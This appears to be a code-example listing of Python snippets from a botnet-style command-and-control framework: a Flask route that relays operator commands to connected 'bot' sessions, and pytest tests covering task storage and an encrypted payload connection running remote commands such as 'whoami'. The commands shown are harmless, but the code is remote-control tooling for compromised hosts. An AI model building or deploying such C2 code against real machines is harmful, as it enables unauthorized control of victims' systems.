Beispiel #1
0
def session_cmd():
    """Send commands to clients and return the response."""
    session_uid = request.form.get('session_uid')

    # validate session id is valid integer
    if not session_uid:
        flash("Invalid bot UID: " + str(session_uid))
        return redirect(url_for('sessions'))

    command = request.form.get('cmd')

    # get user sessions
    owner_sessions = c2.sessions.get(current_user.username, {})

    if session_uid in owner_sessions:
        session_thread = owner_sessions[session_uid]

        # store issued task in database
        task = task_dao.handle_task({
            'task': command,
            'session': session_thread.info.get('uid')
        })

        # send task and get response
        session_thread.send_task(task)
        response = session_thread.recv_task()

        # update task record with result in database
        result = task_dao.handle_task(response)
        return str(result['result']).encode()

    else:
        return "Bot " + str(session_uid) + " is offline or does not exist."
Beispiel #2
0
def test_handle_completed_task(new_session):
    """
    Given a session,
    when the task_dao.handle_task method is called for a completed task,
    ensure the existing task metadata is updated correctly in the database.
    """
    # issue test task
    input_task_dict = {
        "session": new_session.uid,
        "task": "whoami"
    }
    output_task_dict = task_dao.handle_task(input_task_dict)

    # complete test task
    output_task_dict['result'] = 'test_result'
    try:
        completed_task_dict = task_dao.handle_task(output_task_dict)
    except Exception as e:
        pytest.fail("dao.handle_task exception handling completed task: " + str(e))

    # run tests
    assert 'uid' in completed_task_dict
    task = task_dao.get_task(output_task_dict['uid'])
    assert task.result == 'test_result'
    assert task.completed is not None
    assert (datetime.utcnow() - task.completed).seconds <= 5
Beispiel #3
0
def test_handle_task(app_client, new_session):
    """
    Given a session,
    when the task_dao.handle_task method is called from a session,
    check the new task is issued a UID, an issued timestamp, 
    and the metadata is stored in the database correctly.
    """
    # 1. test new task
    input_task_dict = {
        "session": new_session.uid,
        "task": "whoami",
    }
    try:
        output_task_dict = task_dao.handle_task(input_task_dict)
    except Exception as e:
        pytest.fail("dao.handle_task exception handling new task: " + str(e))

    # run tests
    tasks = task_dao.get_session_tasks(new_session.uid)
    assert len(tasks) == 1
    task = task_dao.get_task(output_task_dict['uid'])
    assert len(task.uid) == 32
    assert task.session == new_session.uid
    assert task.task == 'whoami'
    assert (datetime.utcnow() - task.issued).seconds <= 2
Beispiel #4
0
def test_handle_invalid_task():
    """
    Given a session,
    when the task_dao.handle_task method is called with an invalid task,
    check that there is no exception and it is handled gracefully.
    """
    try:
        invalid_task_dict = task_dao.handle_task('invalid task - not a dict')
    except Exception as e:
        pytest.fail("dao.handle_task exception handling invalid task: " + str(e))
    assert isinstance(invalid_task_dict, dict)
    assert 'result' in invalid_task_dict
    assert 'Error' in invalid_task_dict['result']
Beispiel #5
0
def test_payload_connection(app_client, new_user):
    """
    Given an instance of the C2 socket server and an instance of a dummy payload,
    when the payload attempts to connect to the server,
    check that a secure connection is established. 
    
    This is a multi-step process which involves the following:
    1) TCP connection
    2) Diffie-Hellman IKE to generate a secure 256 bit symmetric key,
    3) Payload sends server info about the client machine
    4) Server creates a new session thread to handle the connection with the client,
    5) Session metadata is stored the database
    6) Client/server can now send AES-256-CBC encrypted messages over the network
    """
    # attempt connection
    try:
        payload = dummy_payload_for_testing.Payload(host='0.0.0.0',
                                                    port='1337',
                                                    gui='1',
                                                    owner=new_user.username)
        payload_process = Process(target=payload.run)
        payload_process.start()
    except Exception as e:
        pytest.fail(f"Connection failed: {e}")

    # check 256 bit key generated by Diffie-Hellman IKE successfully, matches on client and server
    assert payload.key is not None
    assert len(payload.key) == 32

    # check session thread created correctly
    time.sleep(2)
    session_threads = c2.sessions.get(new_user.username)
    assert session_threads is not None
    assert isinstance(session_threads, dict)
    assert len(session_threads) == 1
    uid = list(session_threads.keys())[0]
    session_thread = session_threads[uid]
    assert isinstance(session_thread, SessionThread)

    # check session metadata stored in database
    session_metadata = session_dao.get_session(uid)
    assert session_metadata is not None
    assert isinstance(session_metadata, Session)

    # test send/receive data between client/server
    command = 'echo hello world'
    try:
        # store issued task in database
        task = task_dao.handle_task({
            'task': command,
            'session': session_thread.info.get('uid')
        })

        # send task and get response
        session_thread.send_task(task)
        response = session_thread.recv_task()

        # update task record with result in database
        result_dict = task_dao.handle_task(response)
        result = str(result_dict['result']).encode()

        # if end-to-end encryption and remote command execution has worked, response will be 'hello world'
        assert result == b'hello world\n'
    except Exception as e:
        pytest.fail(f"Session command raised exception: {e}")
    finally:
        # kill payload
        session_thread.kill()
        payload_process.terminate()